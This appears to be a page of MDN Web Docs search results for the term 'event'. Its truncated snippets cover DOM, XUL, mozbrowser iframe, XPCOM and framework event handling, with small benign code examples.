the dommenuiteminactive event is executed when a <menu> or a <menuitem> in no longer hovered or highlighted.
... general info specification xul interface event bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... type read only domstring the type of event.
...And 2 more matches
popuphidden - Archive of obsolete content
the popuphidden event is executed when a <menupopup>, <panel> or <tooltip> has become hidden.
... general info specification xul interface popupevent bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... type read only domstring the type of event.
...And 2 more matches
popuphiding - Archive of obsolete content
the popuphiding event is executed when a <menupopup>, <panel> or <tooltip> is about to be hidden.
... general info specification xul interface popupevent bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... type read only domstring the type of event.
...And 2 more matches
popupshown - Archive of obsolete content
the popupshown event is executed when a <menupopup>, <panel> or <tooltip> has become visible.
... general info specification xul interface popupevent bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... type read only domstring the type of event.
...And 2 more matches
MenuButtons - Archive of obsolete content
<toolbarbutton type="menu-button" label="save" oncommand="alert('save');"> <menupopup> <menuitem label="save this document"/> <menuitem label="save all" oncommand="alert('save all'); event.stoppropagation();"/> </menupopup> </toolbarbutton> here, the 'save' button has a type of 'menu-button', so a small arrow button will appear which will open the menu when pressed.
... pressing the label part of the button will invoke the command event on the button, so the 'save' alert will appear.
...when the first item on the menu ('save this document') is activated, it will also display the 'save' alert as the command event bubbles up to the button.
...And 2 more matches
Menus - Archive of obsolete content
when the item is clicked with the mouse or the access key is pressed while the menu is open, the command event is fired at the menuitem.
...in this example, a command event listener is attached to the item using the oncommand attribute.
...the example below has the same effect as the previous example, however it uses a command element instead of listening to the command event directly.
...And 2 more matches
Commands - Archive of obsolete content
normally, you would only hook up elements that would send a command event.
... onevent (event) this method handles an event.
...xul"> <script> function init() { var list = document.getelementbyid("thelist"); var listcontroller = { supportscommand : function(cmd){ return (cmd == "cmd_delete"); }, iscommandenabled : function(cmd){ if (cmd == "cmd_delete") return (list.selecteditem != null); return false; }, docommand : function(cmd){ list.removeitemat(list.selectedindex); }, onevent : function(evt){ } }; list.controllers.appendcontroller(listcontroller); } </script> <listbox id="thelist"> <listitem label="ocean"/> <listitem label="desert"/> <listitem label="jungle"/> <listitem label="swamp"/> </listbox> </window> the controller (listcontroller) implements the four methods described above.
...And 2 more matches
Using Remote XUL - Archive of obsolete content
<?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript"> function loadurl(event) { var contentframe = document.getelementbyid("contentframe"); var url = event.target.getattribute("value"); if (url) contentframe.setattribute("src", url); } </script> ...
...first we write an event handler function that receives an event, extracts a url from the value attribute of the element where the event occurred (a.k.a.
...we add an id attribute to the iframe element so we can reference it from our function, and we add an oncommand event listener to the menubar element that calls the function every time the user clicks a button or selects a menu item.
...And 2 more matches
browser - Archive of obsolete content
droppedlinkhandler(event, uri, name) -- firefox 51 or older droppedlinkhandler(event, links) -- firefox 52 or newer event -- drop event, or null if no event is available uri -- uri string of the dropped link name -- name string of the dropped link links -- array of the dropped items with nsidroppedlinkitem interface homepage type: url this attribute allows you to set a homepage for the browser ele...
...this boundary has a number of special effects, such as making window.top == window (unless the browser is added to a chrome document), and preventing documents from inheriting the principal of the parent document.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributen...
...And 2 more matches
keyset - Archive of obsolete content
attributes disabled examples <keyset> <key id="sample-key" modifiers="shift" key="r"/> </keyset> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
...And 2 more matches
listhead - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
... inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
...And 2 more matches
listheader - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
... inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...And 2 more matches
observes - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] the observes element can be used to listen to a broadcaster and receive events and attributes from it.
...when the value of the attribute changes, the broadcast event is called on the observer.
... inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited ...
...And 2 more matches
preferences - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods void firechangedevent(in domelement preference); creates and dispatches a changed (non-bubbling) event to the specified preference element.
...see also the description of change event of <preference>.
...And 2 more matches
radiogroup - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
...a select event will be sent to the controlling container (i.e.
...And 2 more matches
scale - Archive of obsolete content
ArchiveMozillaXULscale
a scale will fire a change event whenever the scale's value is modified.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
...And 2 more matches
calICalendarView - Archive of obsolete content
summary an object implementing calicalendarview is generally intended to serve as a way of manipulating a set of dom nodes corresonding to a visual representation of calievent and calitodo objects.
...as implemented here, it corresponds to the calendar containing all of the calievents and calitodos that shoud be shown in the view.
...this link allows the calicalendarview to have a way of creating, modifying, and deleting events based on user interaction with the dom nodes it controls, often without requiring any other user interaction.
...And 2 more matches
Using workers in extensions - Archive of obsolete content
every 10 minutes, it calls xmlhttprequest, and, when the results are received, sends an event back to the main thread with the received data.
...; function inforeceived() { var output = httprequest.responsetext; if (output) { postmessage(output.trim()); } httprequest = null; } var httprequest = new xmlhttprequest(); httprequest.open("get", fullurl, true); httprequest.onload = inforeceived; httprequest.send(null); } setinterval(function() { refreshinformation(); }, 10*60*1000); onmessage = function(event) { if (event.data) { symbol = event.data.touppercase(); } refreshinformation(); } when the worker thread is started, the main body of this code (in lines 26-35) is executed.
... then it sets the worker's onmessage event handler to a function which looks at the event passed into it, and does one of two things: if there is a data field on the event, the stock symbol being tracked is set to the upper case version of that value.
...And 2 more matches
Displaying notifications (deprecated) - Archive of obsolete content
this lets you configure the event listeners before the notification is shown, if you need to be notified when the notification is dismissed.
... setting up event listeners on the notification there are two events you can listen to on created notifications: onclick this event is fired when the user clicks (or taps) on the notification.
... onclose this event is fired when the notification is closed (whether by being clicked or by some other means).
...And 2 more matches
XForms Switch Module - Archive of obsolete content
introduction xforms switch module define a switch construct that allows the creation of user interfaces where the user interface can be varied based on user actions and events.
...a toggle can be designated as an event handler using xml events or may also be contained in an action element.
... in either scenario, it would be triggered by an event.
...And 2 more matches
Desktop mouse and keyboard controls - Game development
first, we'd need an event listener to listen for the pressed keys: document.addeventlistener('keydown', keydownhandler, false); document.addeventlistener('keyup', keyuphandler, false); whenever any key is pressed down, we're executing the keydownhandler function, and when press finishes we're executing the keyuphandler function, so we know when it's no longer pressed.
... to do that we'll hold the information on whether the keys we are interested in are pressed or not: var rightpressed = false; var leftpressed = false; var uppressed = false; var downpressed = false; then we will listen for the keydown and keyup events and act accordingly in both handler functions.
... inside them we can get the code of the key that was pressed from the keycode property of the event object, see which key it is, and then set the proper variable.
...And 2 more matches
Implementing controls using the Gamepad API - Game development
eventually, extra drivers and plugins allowed us to use console gamepads with desktop games — either native games or those running in the browser.
... implementation there are two important events to use along with the gamepad api — gamepadconnected and gamepaddisconnected.
...next, we set up two event listeners to get the data: window.addeventlistener("gamepadconnected", gamepadapi.connect); window.addeventlistener("gamepaddisconnected", gamepadapi.disconnect); due to security policy, you have to interact with the controller first while the page is visible for the event to fire.
...And 2 more matches
Extra lives - Game development
the lives handling code to implement lives in our game, let's first change the ball's function bound to the onoutofbounds event.
... instead of executing an anonymous function and showing the alert right away : ball.events.onoutofbounds.add(function(){ alert('game over!'); location.reload(); }, this); we will assign a new function called ballleavescreen; delete the previous event handler (shown above) and replace it with the following line: ball.events.onoutofbounds.add(ballleavescreen, this); we want to decrease the number of lives every time the ball leaves the canvas.
... events you have probably noticed the add() and addonce() method calls in the above two code blocks and wondered how they differ.
...And 2 more matches
Graceful asynchronous programming with Promises - Learn web development
at their most basic, promises are similar to event listeners, but with a few differences: a promise can only succeed or fail once.
... if a promise has succeeded or failed and you later add a success/failure callback, the correct callback will be called, even though the event took place earlier.
... note: the way that a .then() block works is similar to when you add an event listener to an object using addeventlistener().
...And 2 more matches
Fetching data from the server - Learn web development
this stores a reference to the <select> and <pre> elements in constants and defines an onchange event handler function so that when the select's value is changed, its value is passed to an invoked function updatedisplay() as a parameter.
...xhr allows you to handle this using its onload event handler — this is run when the load event fires (when the response has returned).
...you'll see that inside the onload event handler we are setting the textcontent of the poemdisplay (the <pre> element) to the value of the request.response property.
...And 2 more matches
Website security - Learn web development
the purpose of website security is to prevent these (or any) sorts of attacks.
... one way to prevent this type of attack is for the server to require that post requests include a user-specific site-generated secret.
...this approach prevents john from creating his own form, because he would have to know the secret that the server is providing for the user.
...And 2 more matches
Introduction to client-side frameworks - Learn web development
read more about the javascript used in this section: document.createelement() document.createtextnode() document.createdocumentfragment() eventtarget.addeventlistener() node.appendchild() node.removechild() another way to build uis every javascript framework offers a way to write user interfaces more declaratively.
...a handful of powerful options are now available, such as hugo, jekyll, eleventy, and gatsby.
... if you'd like to learn more about static site generators on the whole, check out tatiana mac's beginner's guide to eleventy.
...And 2 more matches
React interactivity: Editing, filtering, conditional rendering - Learn web development
the existing hook: const [newname, setnewname] = usestate(''); next, create a handlechange() function that will set the new name; put this underneath the hooks but before the templates: function handlechange(e) { setnewname(e.target.value); } now we'll update our editingtemplate's <input /> field, setting a value attribute of newname, and binding our handlechange() function to its onchange event.
... update it as follows: <input id={props.id} classname="todo-text" type="text" value={newname} onchange={handlechange} /> finally, we need to create a function to handle the edit form’s onsubmit event; add the following just below the previous function you added: function handlesubmit(e) { e.preventdefault(); props.edittask(props.id, newname); setnewname(""); setediting(false); } remember that our edittask() callback prop needs the id of the task we're editing as well as its new name.
... bind this function to the form’s submit event by adding the following onsubmit handler to the editingtemplate's <form>: <form classname="stack-small" onsubmit={handlesubmit}> you should now be able to edit a task in your browser!
...And 2 more matches
Using Vue computed properties - Learn web development
tracking changes to "done" we can use events to capture the checkbox update and manage our list accordingly.
... since we're not relying on a button press to trigger the change, we can attach a @change event handler to each checkbox instead of using v-model.
...we want to find the item with the matching id and update its done status to be the opposite of its current status: updatedonestatus(todoid) { const todotoupdate = this.todoitems.find(item => item.id === todoid) todotoupdate.done = !todotoupdate.done } we want to run this method whenever a todoitem emits a checkbox-changed event, and pass in its item.id as the parameter.
...And 2 more matches
Focus management with Vue refs - Learn web development
however, because our edit form is in a different component to our "edit" button, we can't just set focus inside the "edit" button’s click event handler.
...well, vue components undergo a series of events, known as a lifecycle.
...data and events are not yet available.
...And 2 more matches
Creating reftest-based unit tests
next you need to add a listener for the 'mozreftestinvalidate' event, and only make the changes you want to test invalidation for after that event has fired.
... the reason for using the 'mozreftestinvalidate' event is because a document's initial painting is not typically finished when the 'load' event fires.
...the 'mozreftestinvalidate' event is designed to fire as soon after the initial rendering of the document is finished as possible, but never before.
...And 2 more matches
Communicating with frame scripts
this is an intentional design decision made to prevent content code from making chrome code unresponsive.
... the example below sends a message named "my-e10s-extension-message", with a data payload containing details and tag properties, and exposes the event.target object as a cpow: // frame script addeventlistener("click", function (event) { sendasyncmessage("my-addon@me.org:my-e10s-extension-message", { details : "they clicked", tag : event.target.tagname }, { target : event.target }); }, false); to receive messages from content, a chrome script needs to add a message listener using the message manager's addmessagelistener() ...
...because a single message can be received by more than one listener, the return value of sendsyncmessage() is an array of all the values returned from every listener, even if it only contains a single value: // frame script addeventlistener("click", function (event) { var results = sendsyncmessage("my-addon@me.org:my-e10s-extension-message", { details : "they clicked", tag : event.target.tagname }); content.console.log(results[0]); // "value from chrome" }, false); like arguments, return values from sendsyncmessage() must be json-serializable, so chrome can't return functions.
...And 2 more matches
mozbrowseraudioplaybackchange
the mozbrowseraudioplaybackchange event is fired when audio starts or stops playing within a browser <iframe>.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 2 more matches
mozbrowsercaretstatechanged
the mozbrowsercaretstatechanged event is fired when the user selects content in a page loaded in a browser <iframe>.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 2 more matches
mozbrowsererror
the mozbrowsererror event is fired when an error occurs while trying to load content within a browser <iframe>.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 2 more matches
mozbrowserfindchange
the mozbrowserfindchange event is fired when a search method is invoked in the browser <iframe> content.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 2 more matches
mozbrowsericonchange
the mozbrowsericonchange event is sent when a new icon (e.g.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 2 more matches
mozbrowserlocationchange
the mozbrowserlocationchange event is fired when a browser <iframe>'s location changes — it is fired every time navigation occurs.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 2 more matches
mozbrowsermanifestchange
the mozbrowsermanifestchange event is fired when the manifest location of the app loaded in the browser <iframe> changes.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 2 more matches
mozbrowseropensearch
the mozbrowseropensearch event is fired when a link to a search engine is found — i.e.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 2 more matches
mozbrowseropentab
the mozbrowseropentab event is fired when a new tab is opened within a browser <iframe> as a result of the user issuing a command to open a link target in a new tab (for example ctrl/cmd + click.) general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the ty...
...pe of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 2 more matches
mozbrowserresize
the mozbrowserresize event is fired when a browser <iframe> viewport is resized in some way.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 2 more matches
mozbrowserscroll
the mozbrowserscroll event is fired when the browser <iframe> content scrolls.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 2 more matches
mozbrowserscrollareachanged
the mozbrowserscrollareachanged event is fired when the available scrolling area in the browser <iframe> changes.
... this can occur on resize and when the page size changes (while loading for example.) general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 2 more matches
mozbrowserscrollviewchange
the mozbrowserscrollviewchange event is fired when asynchronous scrolling (i.e.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 2 more matches
mozbrowsersecuritychange
the mozbrowsersecuritychange event is fired when the browser <iframe> has connected to the server, and when the mixed content state changes.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 2 more matches
mozbrowserselectionstatechanged
the mozbrowserselectionstatechanged event is fired when the text selected inside the browser <iframe> content changes.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 2 more matches
mozbrowsertitlechange
the mozbrowsertitlechange event is fired when the title of a browser <iframe> (i.e.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 2 more matches
mozbrowserusernameandpasswordrequired
the mozbrowserusernameandpasswordrequired event is fired when the content within a browser <iframe> requires an http authentification.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 2 more matches
mozbrowservisibilitychange
the mozbrowservisibilitychange event is fired when the visibility state of the current browser iframe <iframe> changes, for example due to a call to setvisible().
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... bubbles read only boolean whether the event normally bubbles or not.
...And 2 more matches
MozBeforePaint
once you've called this, the mozbeforepaint event will be fired one time, when it's time for animations to be updated for the window's next animation frame.
... the timestamp property of this event will be set to the time when the animation frame is sampled; this is relevant when trying to synchronize mozrequestanimationframe animations with smil animations or css transitions.
... <!doctype html> <html> <body> <div id="d" style="width:100px; height:100px; background:lime; position:relative;"></div> <script> var d = document.getelementbyid("d"); var start = window.mozanimationstarttime; function step(event) { var progress = event.timestamp - start; d.style.left = math.min(progress/10, 200) + "px"; if (progress < 2000) { window.mozrequestanimationframe(); } else { window.removeeventlistener("mozbeforepaint", step, false); } } window.addeventlistener("mozbeforepaint", step, false); window.mozrequestanimationframe(); </script> </body> </html> as you can see, each time the mozbefore...
...And 2 more matches
smartcard-insert
the smartcard-insert event is fired when the insertion of a smart card has been detected specification mozilla specific interface event bubbles no cancelable no target document default action none properties property type description targetread only eventtarget the event target (the topmost target in the dom tree).
... typeread only domstring the type of event.
... bubblesread only boolean whether the event normally bubbles or not.
...And 2 more matches
HTML parser threading
these two methods along with timerflush (discussed later) are the entry points from the parser thread event loop into nshtml5streamparser.
...this method returns immediately if another invocation of it is already on the call stack (nested event loop case).
...after each tree op except the last one in the queue, the clock time is checked to see if runflushloop() has spent too much time without returning to the event loop.
...And 2 more matches
Investigating leaks using DMD heap scan mode
it will eventually produce some output.
... the output will look something like this, after a message about loading progress: 0x7f0882fe3230 [fragmentorelement (xhtml) script https://www.example.com] --[[via hash] mlistenermanager]--> 0x7f0899b4e550 [eventlistenermanager] --[mlisteners event=onload listenertype=3 [i]]--> 0x7f0882ff8f80 [callbackobject] --[mincumbentglobal]--> 0x7f0897082c00 [nsglobalwindowinner # 2147483662 inner https://www.example.com] root 0x7f0882fe3230 is a ref counted object with 1 unknown edge(s).
... known edges: 0x7f08975a24c0 [fragmentorelement (xhtml) head https://www.example.com] --[mattrsandchildren[i]]--> 0x7f0882fe3230 0x7f08967e7b20 [js object (htmlscriptelement)] --[unwrapdomobject(obj)]--> 0x7f0882fe3230 the first two lines mean that the script element 0x7f0882fe3230 contains a strong reference to the eventlistenermanager 0x7f0899b4e550.
...And 2 more matches
PR_Poll
returns the function returns one of these values: if successful, the function returns a positive number indicating the number of prpolldesc structures in pds that have events.
... the in_flags field of the prpolldesc data structure should be set to the i/o events (readable, writable, exception, or some combination) that the caller is interested in.
... the prpolldesc structure is defined as follows: struct prpolldesc { prfiledesc* fd; print16 in_flags; print16 out_flags; }; typedef struct prpolldesc prpolldesc; the structure has the following fields: fd a pointer to a prfiledesc object representing a socket or a pollable event.
...And 2 more matches
GC Rooting Guide
consider: jsobject* somefunction(jscontext* cx) { js::rooted<jsobject*> obj(cx, foo()); eventlogger logger(cx); ...code...
... return obj; } say that ~eventlogger constructs some sort of object in its destructor, which could trigger a gc.
...then ~eventlogger will fire and trigger a gc, invalidating that unrooted stack/register pointer.
...And 2 more matches
Index
426 js_preventextensions jsapi reference, spidermonkey all javascript objects recognize the concept of extensibility: whether new properties may be added to the object.
... in javascript this may be accomplished using the object.preventextensions method.
... the similar jsapi method is js_preventextensions.
...And 2 more matches
The Publicity Stream API
possible error codes include: denied - if the user does not log in correctly permissiondenied - if the site is not allowed to access the publicity stream networkerror - if the publicity server is unreachable for_apps is a json list of apps that this store has (each represented as its origin url), so that stream events not relating to applications in a given presentation context can be excluded from the return value.
... if null or an empty list is passed, events for all apps are returned.
... since the timestamp of the earliest event you want returned.
...And 2 more matches
Component Internals
the sequence of events that kicks off this xpcom initialization may be triggered by user action or by the application startup itself.
...when that method is called, the following sequence of events occurs: xpcom fires a shutdown notification to all registered observers.
...in other words, the event you observe cannot be used to implement something like a "are you sure you want to quit?" dialog.
...And 2 more matches
Creating the Component Code
there is more code in this chapter than you'll eventually need, however.
... what we'll be working on the component we'll be working on in this book controls a special mode in your browser that prevents users from leaving the current domain or a set of safe domains.
...in weblock, this is the part that brings together various gecko services and prevents users from leaving the list of acceptable domains.
...And 2 more matches
nsIAppShellService
void createhiddenwindow( in nsiappshell aappshell ); parameters aappshell a widget "appshell" (event processor) to associate with the new window.
... aappshell a widget "appshell" (event processor) to associate with the new window.
... quit() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) exit the event loop, shut down the app.
...And 2 more matches
nsIDeviceMotion
native code only!addwindowlistener sets the nsiaccelerometer as the source for mozorientation events on the specified dom window.
... void addwindowlistener( in nsidomwindow awindow ); parameters awindow the dom window that the accelerometer should begin sending mozorientation events to.
... native code only!removewindowlistener removes the nsiaccelerometer as the source for mozorientation events on the specified dom window.
...And 2 more matches
nsIThreadPool
1.0 66 introduced gecko 1.9 inherits from: nsieventtarget last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) a thread pool provides a convenient way to process events off the main thread.
... when you send events to the thread pool, the pool creates a new thread to process the event, up to the number of threads specified by the threadlimit attribute.
... a listener will only receive notifications about threads created after the listener is set so it is recommended that the consumer set the listener before dispatching the first event.
...And 2 more matches
nsIWebProgressListener
expect a corresponding state_start event for the new request, and a state_stop for the redirected request.
...these flags are not mutually exclusive (that is an onstatechange() event may indicate some combination of these flags).
...this second state_stop event may be useful as a way to partition the work that occurs when a document request completes.
...And 2 more matches
nsIWorkerScope
1.0 66 introduced gecko 1.9.1 inherits from: nsiworkerglobalscope last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void postmessage(in domstring amessage, [optional] in nsiworkermessageport amessageport); void close(); attributes attribute type description onclose nsidomeventlistener a listener object to be called when the worker stops running.
... onmessage nsidomeventlistener a listener object to be called when a message is posted on the port.
... the message is in the event's data member.
...And 2 more matches
The Thread Manager
the thread manager, introduced in firefox 3, offers an easy to use mechanism for creating threads and dispatching events to them for processing.
...when you dispatch an event to the pool, the pool selects an available worker thread to process the event.
... nsithreadobserver provides the ability to monitor a thread, to receive notifications when events are dispatched to it and when they're finished being processed.
...And 2 more matches
Creating a Custom Column
our implementation will need to call something similar to: gdbview.addcolumnhandler("colreplyto", columnhandler); setting the custom column handler we've added a special event that gets fired whenever a view is created.
... when that event fires, you should set up the custom column handler on the new view.
... window.addeventlistener("load", doonceloaded, false); function doonceloaded() { var observerservice = components.classes["@mozilla.org/observer-service;1"].getservice(components.interfaces.nsiobserverservice); observerservice.addobserver(createdbobserver, "msgcreatedbview", false); } var createdbobserver = { // components.interfaces.nsiobserver observe: function(amsgfolder, atopic, adata) { addcustomcolumnhandler(); } } in this example we have a function addcustomcolumnhandler() that is called whenever the event is fired.
...And 2 more matches
Add to iPhoto
a pointer to an apple event parameter; we aren't using this, so i'm just using a voidptr_t here.
...idptr_t}, // fsref of application to launch {'asynclaunchrefcon': ctypes.voidptr_t}, {'environment': ctypes.voidptr_t}, // cfdictionaryref {'argv': ctypes.voidptr_t}, // cfarrayref of args {'initialevent': ctypes.voidptr_t}]); // appleevent * most of these fields, we won't be using.
... hooking up to the context menu on startup, we find the content area's context menu and add an event listener to it that will be called when the context menu is displayed.
...And 2 more matches
Mozilla
adding a new event this draft document covers how to add a new event to the mozilla (firefox) source code.
...the component can then call methods on the observer interface to signal the external code when predefined events occur.
...firefox provides a built-in applet to manage these profiles, but it will eventually be going away (see bug 214675), so a new standalone profile manager application has been created, which works with any xulrunner application, and has many features not found in firefox's built-in version.
...And 2 more matches
Debugger.Frame - Firefox Developer Tools
if the non-debuggee function eventually calls back into debuggee code, then those frames are visible.
...even though the debuggee and debugger share the same javascript stack, frames pushed for spidermonkey’s calls to handler methods to report events in the debuggee are never considered visible frames.) invocation functions and “debugger” frames aninvocation function is any function in this interface that allows the debugger to invoke code in the debuggee: debugger.object.prototype.call, debugger.frame.prototype.eval, and so on.
... handler methods of debugger.frame instances each debugger.frame instance inherits accessor properties holding handler functions for spidermonkey to call when given events occur in the frame.
...And 2 more matches
Console messages - Firefox Developer Tools
reflow events the web console also logs reflow events under the css category.
...many events can trigger reflows, including: resizing the browser window, activating pseudoclasses like :hover, or manipulating the dom in javascript.
...by logging reflow events the web console can give you insight into when reflow events are being triggered, how long they take to execute and, if the reflows are synchronous reflows triggered from javascript, which code triggered them.
...And 2 more matches
AbortSignal - Web APIs
properties the abortsignal interface also inherits properties from its parent interface, eventtarget.
... events listen to this event using addeventlistener() or by assigning an event listener to the oneventname property of this interface.
... methods the abortsignal interface inherits methods from its parent interface, eventtarget.
...And 2 more matches
AudioTrackList.onremovetrack - Web APIs
the audiotracklist onremovetrack event handler is called when the removetrack event occurs, indicating that an audio track has been removed from the media element, and therefore also from the audiotracklist.
... the event is passed into the event handler in the form of a trackevent object, whose track property identifies the track that was removed from the media element's audiotracklist.
... note: you can also add a handler for the removetrack event using addeventlistener().
...And 2 more matches
BaseAudioContext - Web APIs
a baseaudiocontext can be a target of events, therefore it implements the eventtarget interface.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/baseau...
